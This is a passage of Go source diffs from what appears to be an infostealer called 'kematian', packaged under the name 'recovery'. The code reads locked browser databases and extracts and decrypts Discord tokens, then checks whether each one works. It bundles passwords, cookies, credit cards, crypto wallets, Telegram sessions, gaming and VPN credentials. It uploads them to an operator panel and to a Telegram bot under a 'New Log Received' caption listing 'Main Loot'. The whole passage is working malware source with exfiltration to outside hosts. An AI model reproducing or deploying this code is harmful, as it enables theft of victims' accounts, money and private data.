logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data))
|
||||
return OpenDatabaseFromBytes(data)
|
||||
}
|
||||
|
||||
func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) {
|
||||
tmp, err := os.MkdirTemp("", "kematian_db_*")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer os.RemoveAll(tmp)
|
||||
|
||||
clonePath := filepath.Join(tmp, filepath.Base(dbPath))
|
||||
|
||||
mainData, err := platform.ReadLockedFile(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(clonePath, mainData, 0600); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for _, suffix := range []string{"-wal", "-journal"} {
|
||||
src := dbPath + suffix
|
||||
if info, err := os.Stat(src); err == nil && info.Size() > 0 {
|
||||
if data, err := platform.ReadLockedFile(src, pids); err == nil {
|
||||
if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
d, err := sql.Open("sqlite3", clonePath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
d.SetMaxOpenConns(1)
|
||||
if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil {
|
||||
d.Close()
|
||||
return nil, err
|
||||
}
|
||||
d.Close()
|
||||
|
||||
return os.ReadFile(clonePath)
|
||||
}
|
||||
|
||||
func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) {
|
||||
db, err := sql.Open("sqlite3", ":memory:")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
db.SetMaxOpenConns(1)
|
||||
|
||||
conn, err := db.Conn(context.Background())
|
||||
if err != nil {
|
||||
db.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = conn.Raw(func(driverConn interface{}) error {
|
||||
sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn)
|
||||
if !ok {
|
||||
return fmt.Errorf("not a sqlite3 connection")
|
||||
}
|
||||
return sqliteConn.Deserialize(data, "main")
|
||||
})
|
||||
conn.Close()
|
||||
|
||||
if err != nil {
|
||||
db.Close()
|
||||
return nil, fmt.Errorf("deserialize: %w", err)
|
||||
}
|
||||
return db, nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package db
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[db] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package discord
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`)
|
||||
var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`)
|
||||
var HTTPClient = &http.Client{Timeout: 8 * time.Second}
|
||||
|
||||
type DiscordApp struct {
|
||||
Name string
|
||||
Dir string
|
||||
}
|
||||
|
||||
func CheckToken(token string) bool {
|
||||
req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
req.Header.Set("Authorization", token)
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
|
||||
resp, err := HTTPClient.Do(req)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
resp.Body.Close()
|
||||
return resp.StatusCode == 200
|
||||
}
|
||||
|
||||
type TokenResult = types.DiscordTokenResult
|
||||
@@ -0,0 +1,184 @@
|
||||
//go:build !windows
|
||||
|
||||
package discord
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/platform"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
func discordConfigDir() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
xdg := os.Getenv("XDG_CONFIG_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
}
|
||||
|
||||
func discordV10Key(appDir string) []byte {
|
||||
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
|
||||
if err != nil {
|
||||
if runtime.GOOS == "linux" {
|
||||
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
|
||||
}
|
||||
if runtime.GOOS == "darwin" {
|
||||
return darwinDiscordKey()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
var state map[string]interface{}
|
||||
if err := json.Unmarshal(data, &state); err != nil {
|
||||
return nil
|
||||
}
|
||||
osCrypt, _ := state["os_crypt"].(map[string]interface{})
|
||||
if osCrypt == nil {
|
||||
return nil
|
||||
}
|
||||
encKeyB64, _ := osCrypt["encrypted_key"].(string)
|
||||
_ = encKeyB64
|
||||
|
||||
if runtime.GOOS == "linux" {
|
||||
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
|
||||
}
|
||||
if runtime.GOOS == "darwin" {
|
||||
return darwinDiscordKey()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func darwinDiscordKey() []byte {
|
||||
for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} {
|
||||
out, err := exec.Command("security", "find-generic-password", "-wa", service).Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
password := strings.TrimSpace(string(out))
|
||||
if password != "" {
|
||||
return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var discordApps = []DiscordApp{
|
||||
{"Discord", "discord"},
|
||||
{"Discord PTB", "discordptb"},
|
||||
{"Discord Canary", "discordcanary"},
|
||||
{"Discord Dev", "discorddevelopment"},
|
||||
}
|
||||
|
||||
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
|
||||
return platform.ReadLockedFile(path, pids)
|
||||
}
|
||||
|
||||
func ExtractTokens() []TokenResult {
|
||||
configDir := discordConfigDir()
|
||||
|
||||
type candidate struct {
|
||||
token string
|
||||
source string
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{})
|
||||
var candidates []candidate
|
||||
|
||||
for _, app := range discordApps {
|
||||
appDir := filepath.Join(configDir, app.Dir)
|
||||
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
|
||||
|
||||
entries, err := os.ReadDir(leveldb)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
pids, _ := platform.FindProcesses(app.Dir)
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||
if ext != ".log" && ext != ".ldb" {
|
||||
continue
|
||||
}
|
||||
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, m := range TokenRe.FindAll(data, -1) {
|
||||
tok := string(m)
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
|
||||
for _, m := range EncRe.FindAll(data, -1) {
|
||||
raw := string(m)
|
||||
colonIdx := strings.Index(raw, ":")
|
||||
if colonIdx < 0 {
|
||||
continue
|
||||
}
|
||||
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
key := discordV10Key(appDir)
|
||||
if key == nil {
|
||||
continue
|
||||
}
|
||||
tok := crypto.DecryptChromiumBlob(blob, key, nil)
|
||||
if tok == "" || !TokenRe.MatchString(tok) {
|
||||
continue
|
||||
}
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(candidates) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
valid := make([]bool, len(candidates))
|
||||
var wg sync.WaitGroup
|
||||
sem := make(chan struct{}, 6)
|
||||
for i, c := range candidates {
|
||||
wg.Add(1)
|
||||
go func(idx int, tok string) {
|
||||
defer wg.Done()
|
||||
sem <- struct{}{}
|
||||
valid[idx] = CheckToken(tok)
|
||||
<-sem
|
||||
}(i, c.token)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
var out []TokenResult
|
||||
for i, c := range candidates {
|
||||
if valid[i] {
|
||||
out = append(out, TokenResult{Token: c.token, Source: c.source})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
//go:build windows
|
||||
|
||||
package discord
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/platform"
|
||||
)
|
||||
|
||||
var discordApps = []DiscordApp{
|
||||
{"Discord", "discord"},
|
||||
{"Discord PTB", "discordptb"},
|
||||
{"Discord Canary", "discordcanary"},
|
||||
{"Discord Dev", "discorddevelopment"},
|
||||
}
|
||||
|
||||
func discordV10Key(appDir string) []byte {
|
||||
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var state map[string]interface{}
|
||||
if err := json.Unmarshal(data, &state); err != nil {
|
||||
return nil
|
||||
}
|
||||
osCrypt, _ := state["os_crypt"].(map[string]interface{})
|
||||
if osCrypt == nil {
|
||||
return nil
|
||||
}
|
||||
encKeyB64, _ := osCrypt["encrypted_key"].(string)
|
||||
if encKeyB64 == "" {
|
||||
return nil
|
||||
}
|
||||
encKey, err := base64.StdEncoding.DecodeString(encKeyB64)
|
||||
if err != nil || len(encKey) <= 5 {
|
||||
return nil
|
||||
}
|
||||
key, err := crypto.CryptUnprotectData(encKey[5:])
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return key
|
||||
}
|
||||
|
||||
var discordExeNames = map[string]string{
|
||||
"discord": "Discord.exe",
|
||||
"discordptb": "DiscordPTB.exe",
|
||||
"discordcanary": "DiscordCanary.exe",
|
||||
"discorddevelopment": "DiscordDevelopment.exe",
|
||||
}
|
||||
|
||||
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
|
||||
return platform.ReadLockedFile(path, pids)
|
||||
}
|
||||
|
||||
func ExtractTokens() []TokenResult {
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
type candidate struct {
|
||||
token string
|
||||
source string
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{})
|
||||
var candidates []candidate
|
||||
|
||||
for _, app := range discordApps {
|
||||
appDir := filepath.Join(appdata, app.Dir)
|
||||
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
|
||||
|
||||
entries, err := os.ReadDir(leveldb)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
exeName := discordExeNames[app.Dir]
|
||||
pids, _ := platform.FindProcesses(exeName)
|
||||
|
||||
var v10Key []byte
|
||||
keyOnce := sync.Once{}
|
||||
getKey := func() []byte {
|
||||
keyOnce.Do(func() { v10Key = discordV10Key(appDir) })
|
||||
return v10Key
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||
if ext != ".log" && ext != ".ldb" {
|
||||
continue
|
||||
}
|
||||
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, m := range TokenRe.FindAll(data, -1) {
|
||||
tok := string(m)
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
|
||||
for _, m := range EncRe.FindAll(data, -1) {
|
||||
raw := string(m)
|
||||
colonIdx := strings.Index(raw, ":")
|
||||
if colonIdx < 0 {
|
||||
continue
|
||||
}
|
||||
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
key := getKey()
|
||||
if key == nil {
|
||||
continue
|
||||
}
|
||||
tok := crypto.DecryptChromiumBlob(blob, key, nil)
|
||||
if tok == "" || !TokenRe.MatchString(tok) {
|
||||
continue
|
||||
}
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(candidates) == 0 {
|
||||
logf("no candidate tokens found")
|
||||
return nil
|
||||
}
|
||||
logf("found %d candidate tokens", len(candidates))
|
||||
|
||||
valid := make([]bool, len(candidates))
|
||||
var wg sync.WaitGroup
|
||||
sem := make(chan struct{}, 6)
|
||||
for i, c := range candidates {
|
||||
wg.Add(1)
|
||||
go func(idx int, tok string) {
|
||||
defer wg.Done()
|
||||
sem <- struct{}{}
|
||||
valid[idx] = CheckToken(tok)
|
||||
<-sem
|
||||
}(i, c.token)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
var out []TokenResult
|
||||
for i, c := range candidates {
|
||||
if valid[i] {
|
||||
out = append(out, TokenResult{Token: c.token, Source: c.source})
|
||||
}
|
||||
}
|
||||
logf("%d/%d tokens validated", len(out), len(candidates))
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package discord
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[discord] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,248 @@
|
||||
package exfil
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ecdh"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
"golang.org/x/crypto/hkdf"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at
|
||||
// build time (see build_final.bat or set here).
|
||||
// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on
|
||||
// the panel. Only this public key is needed to post; decryption needs the
|
||||
// private key that only the panel holds.
|
||||
var (
|
||||
PanelEndpoint = "http://127.0.0.1:5000/api/ingest"
|
||||
PanelPubKey = ""
|
||||
// Ingest key must match PANEL_INGEST_KEY on the panel.
|
||||
PanelAuth = "CHANGE-ME"
|
||||
)
|
||||
|
||||
const (
|
||||
e2eeSalt = "kematian-e2ee-salt"
|
||||
e2eeInfo = "kematian-e2ee-v1"
|
||||
)
|
||||
|
||||
// e2eeSeal encrypts plaintext toward the panel's public key.
|
||||
// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext )
|
||||
func e2eeSeal(plaintext []byte) (string, error) {
|
||||
pkBytes, err := hex.DecodeString(PanelPubKey)
|
||||
if err != nil || len(pkBytes) != 32 {
|
||||
return "", fmt.Errorf("invalid panel public key: %v", err)
|
||||
}
|
||||
curve := ecdh.X25519()
|
||||
panelPub, err := curve.NewPublicKey(pkBytes)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
ephPriv, err := curve.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shared, err := ephPriv.ECDH(panelPub)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// HKDF-SHA256(shared, salt, info) -> 32-byte key
|
||||
r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo))
|
||||
key := make([]byte, chacha20poly1305.KeySize)
|
||||
if _, err := io.ReadFull(r, key); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
aead, err := chacha20poly1305.New(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
nonce := make([]byte, aead.NonceSize())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ct := aead.Seal(nil, nonce, plaintext, nil)
|
||||
|
||||
wire := append(ephPriv.PublicKey().Bytes(), nonce...)
|
||||
wire = append(wire, ct...)
|
||||
return base64.StdEncoding.EncodeToString(wire), nil
|
||||
}
|
||||
|
||||
// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't
|
||||
// already embedded. This removes the need to paste the key at build time: only
|
||||
// the endpoint + auth key are baked in, the agent asks the panel for its key.
|
||||
func ensurePubKey() error {
|
||||
if PanelPubKey != "" {
|
||||
return nil
|
||||
}
|
||||
req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+PanelAuth)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("fetching pubkey: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("pubkey endpoint returned %s", resp.Status)
|
||||
}
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
var out struct {
|
||||
PublicKey string `json:"publicKey"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &out); err != nil {
|
||||
return fmt.Errorf("parsing pubkey: %w", err)
|
||||
}
|
||||
if len(out.PublicKey) != 64 {
|
||||
return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey))
|
||||
}
|
||||
PanelPubKey = out.PublicKey
|
||||
return nil
|
||||
}
|
||||
|
||||
func buildBaseURL() string {
|
||||
return strings.TrimSuffix(PanelEndpoint, "/api/ingest")
|
||||
}
|
||||
|
||||
// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads)
|
||||
// to the collector panel over E2EE.
|
||||
func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error {
|
||||
if PanelEndpoint == "" {
|
||||
return fmt.Errorf("panel endpoint not configured")
|
||||
}
|
||||
if err := ensurePubKey(); err != nil {
|
||||
return err
|
||||
}
|
||||
if PanelPubKey == "" {
|
||||
return fmt.Errorf("no pubkey available")
|
||||
}
|
||||
|
||||
payload := buildPanelPayload(result, clientID)
|
||||
if len(payloads) > 0 {
|
||||
payload["payloads"] = payloads
|
||||
}
|
||||
|
||||
plainJSON, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
enc, err := e2eeSeal(plainJSON)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body, _ := json.Marshal(map[string]string{"enc": enc})
|
||||
|
||||
req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Authorization", "Bearer "+PanelAuth)
|
||||
|
||||
client := &http.Client{Timeout: 60 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
respBody, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func guessOS() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return os.Getenv("OS")
|
||||
}
|
||||
return runtime.GOOS
|
||||
}
|
||||
|
||||
func guessArch() string {
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
func GenerateClientID() string {
|
||||
b := make([]byte, 12)
|
||||
_, _ = rand.Read(b)
|
||||
return base64.RawURLEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
// buildPanelPayload maps a CollectionResult to the flat structure the panel
|
||||
// ingest stores into its per-category tables. clientID groups everything.
|
||||
func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} {
|
||||
p := map[string]interface{}{
|
||||
"clientId": clientID,
|
||||
"host": map[string]interface{}{
|
||||
"os": guessOS(),
|
||||
"arch": guessArch(),
|
||||
},
|
||||
}
|
||||
if l := len(r.Passwords); l > 0 {
|
||||
p["passwords"] = r.Passwords
|
||||
}
|
||||
if l := len(r.Cookies); l > 0 {
|
||||
p["cookies"] = r.Cookies
|
||||
}
|
||||
if l := len(r.Autofill); l > 0 {
|
||||
p["autofill"] = r.Autofill
|
||||
}
|
||||
if l := len(r.History); l > 0 {
|
||||
p["history"] = r.History
|
||||
}
|
||||
if l := len(r.Bookmarks); l > 0 {
|
||||
p["bookmarks"] = r.Bookmarks
|
||||
}
|
||||
if l := len(r.CreditCards); l > 0 {
|
||||
p["creditCards"] = r.CreditCards
|
||||
}
|
||||
if l := len(r.DiscordTokens); l > 0 {
|
||||
p["discordTokens"] = r.DiscordTokens
|
||||
}
|
||||
if l := len(r.Files); l > 0 {
|
||||
p["files"] = r.Files
|
||||
}
|
||||
if l := len(r.Extensions); l > 0 {
|
||||
p["extensions"] = r.Extensions
|
||||
}
|
||||
if l := len(r.Wallets); l > 0 {
|
||||
p["wallets"] = r.Wallets
|
||||
}
|
||||
if l := len(r.Telegram); l > 0 {
|
||||
p["telegram"] = r.Telegram
|
||||
}
|
||||
if l := len(r.Keys); l > 0 {
|
||||
p["keys"] = r.Keys
|
||||
}
|
||||
if l := len(r.AppCredentials); l > 0 {
|
||||
p["appCredentials"] = r.AppCredentials
|
||||
}
|
||||
if r.Gaming != nil {
|
||||
p["gaming"] = r.Gaming
|
||||
if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 {
|
||||
p["steamTokens"] = r.Gaming.Steam.SteamTokens
|
||||
}
|
||||
}
|
||||
if r.VPNs != nil {
|
||||
p["vpns"] = r.VPNs
|
||||
}
|
||||
return p
|
||||
}
|
||||
@@ -0,0 +1,264 @@
|
||||
package exfil
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"recovery/recovery"
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type TelegramConfig struct {
|
||||
BotToken string
|
||||
ChatID string
|
||||
}
|
||||
|
||||
func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
|
||||
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
username := os.Getenv("USERNAME")
|
||||
if username == "" {
|
||||
username = os.Getenv("USER")
|
||||
}
|
||||
|
||||
ip := getExternalIP()
|
||||
|
||||
caption := fmt.Sprintf(`✨ New Log Received ✨
|
||||
|
||||
💻 User: %s@%s
|
||||
🌍 IP: %s
|
||||
|
||||
📊 Main Loot:
|
||||
🔑 Passwords: %d
|
||||
🍪 Cookies: %d
|
||||
💰 Wallets: %d
|
||||
|
||||
📦 Additional Data:
|
||||
💬 Messengers: %d
|
||||
🔐 Extensions: %d
|
||||
🔑 Keys: %d
|
||||
🎮 Gaming: %d
|
||||
🌐 VPNs: %d
|
||||
📁 Files: %d`,
|
||||
username, hostname, ip,
|
||||
counts["passwords"], counts["cookies"], counts["wallets"],
|
||||
counts["telegram"], counts["extensions"], counts["keys"],
|
||||
counts["gaming"], counts["vpns"], counts["files"])
|
||||
|
||||
var buf bytes.Buffer
|
||||
writer := multipart.NewWriter(&buf)
|
||||
|
||||
_ = writer.WriteField("chat_id", cfg.ChatID)
|
||||
_ = writer.WriteField("caption", caption)
|
||||
_ = writer.WriteField("parse_mode", "HTML")
|
||||
|
||||
part, err := writer.CreateFormFile("document", filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = part.Write(zipData)
|
||||
writer.Close()
|
||||
|
||||
req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", writer.FormDataContentType())
|
||||
|
||||
client := &http.Client{Timeout: 120 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getExternalIP() string {
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
resp, err := client.Get("https://api.ipify.org")
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return strings.TrimSpace(string(body))
|
||||
}
|
||||
|
||||
func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
|
||||
result, zipData, counts, _, err := CollectResultAndZip(ctx)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
_ = result
|
||||
return zipData, counts, nil
|
||||
}
|
||||
|
||||
// CollectResultAndZip collects a full snapshot and returns:
|
||||
// - the typed result (for the panel)
|
||||
// - a single zip of every json+dump for Telegram
|
||||
// - per-category counts
|
||||
// - individual binary payloads (wallet/telegram/steam zips) for the panel
|
||||
func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) {
|
||||
opts := types.CollectOptions{
|
||||
Browsers: true,
|
||||
Passwords: true,
|
||||
Cookies: true,
|
||||
Autofill: true,
|
||||
History: true,
|
||||
Bookmarks: true,
|
||||
CreditCards: true,
|
||||
Discord: true,
|
||||
Files: true,
|
||||
Wallets: true,
|
||||
Telegram: true,
|
||||
Keys: true,
|
||||
Apps: true,
|
||||
Gaming: true,
|
||||
VPNs: true,
|
||||
}
|
||||
|
||||
tmpDir, err := os.MkdirTemp("", "kematian-*")
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, err
|
||||
}
|
||||
defer os.RemoveAll(tmpDir)
|
||||
|
||||
result, err := recovery.Collect(ctx, opts, nil)
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err)
|
||||
}
|
||||
|
||||
extensions := recovery.ScanExtensions()
|
||||
result.Extensions = extensions
|
||||
|
||||
counts := map[string]int{
|
||||
"passwords": len(result.Passwords),
|
||||
"cookies": len(result.Cookies),
|
||||
"wallets": len(result.Wallets),
|
||||
"telegram": len(result.Telegram),
|
||||
"extensions": len(result.Extensions),
|
||||
"keys": len(result.Keys),
|
||||
"gaming": 0,
|
||||
"vpns": 0,
|
||||
"files": len(result.Files),
|
||||
}
|
||||
|
||||
if result.Gaming != nil {
|
||||
if result.Gaming.Steam != nil {
|
||||
counts["gaming"]++
|
||||
}
|
||||
counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
|
||||
}
|
||||
if result.VPNs != nil {
|
||||
counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
|
||||
}
|
||||
|
||||
writeJSON := func(name string, data interface{}) error {
|
||||
jsonData, err := json.MarshalIndent(data, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
|
||||
}
|
||||
|
||||
_ = writeJSON("passwords", result.Passwords)
|
||||
_ = writeJSON("cookies", result.Cookies)
|
||||
_ = writeJSON("autofill", result.Autofill)
|
||||
_ = writeJSON("history", result.History)
|
||||
_ = writeJSON("bookmarks", result.Bookmarks)
|
||||
_ = writeJSON("credit_cards", result.CreditCards)
|
||||
_ = writeJSON("discord_tokens", result.DiscordTokens)
|
||||
_ = writeJSON("extensions", result.Extensions)
|
||||
_ = writeJSON("wallets", result.Wallets)
|
||||
_ = writeJSON("telegram", result.Telegram)
|
||||
_ = writeJSON("keys", result.Keys)
|
||||
_ = writeJSON("app_credentials", result.AppCredentials)
|
||||
_ = writeJSON("gaming", result.Gaming)
|
||||
_ = writeJSON("vpns", result.VPNs)
|
||||
var steamTokens []types.SteamTokenResult
|
||||
if result.Gaming != nil && result.Gaming.Steam != nil {
|
||||
steamTokens = result.Gaming.Steam.SteamTokens
|
||||
}
|
||||
_ = writeJSON("steam_tokens", steamTokens)
|
||||
_ = writeJSON("fingerprint", recovery.CollectFingerprint())
|
||||
